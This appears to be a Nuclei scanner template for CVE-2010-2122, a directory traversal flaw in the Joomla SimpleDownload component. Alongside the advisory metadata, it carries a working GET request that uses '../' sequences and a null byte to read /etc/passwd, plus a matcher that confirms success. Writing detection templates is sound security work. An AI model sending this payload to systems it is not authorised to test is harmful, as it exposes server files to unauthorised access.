id: CVE-2010-2122 info: name: Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval author: daffainfo severity: medium description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php. impact: | An attacker can retrieve arbitrary files from the server, potentially leading to unauthorized access or sensitive data exposure. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12623 - https://nvd.nist.gov/vuln/detail/CVE-2010-2122 - https://www.exploit-db.com/exploits/12618 - http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717 - https://exchange.xforce.ibmcloud.com/vulnerabilities/58625 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2010-2122 cwe-id: CWE-22 epss-score: 0.01806 epss-percentile: 0.86762 cpe: cpe:2.3:a:joelrowley:com_simpledownload:0.9.5:*:*:*:*:*:*:* metadata: max-request: 1 vendor: joelrowley product: com_simpledownload tags: cve,cve2010,joomla,lfi,edb,joelrowley http: - method: GET path: - "{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a0047304502204fb78de3af1c8012601e7112a972de40e6aa647c2bc10efaf6ceed29c14e5d1d022100a1733aace7f15c711f66ca7bbccc90bae9735a59482ec01f4d736807e8b55394:922c64590222798bb761d5b6d8e72950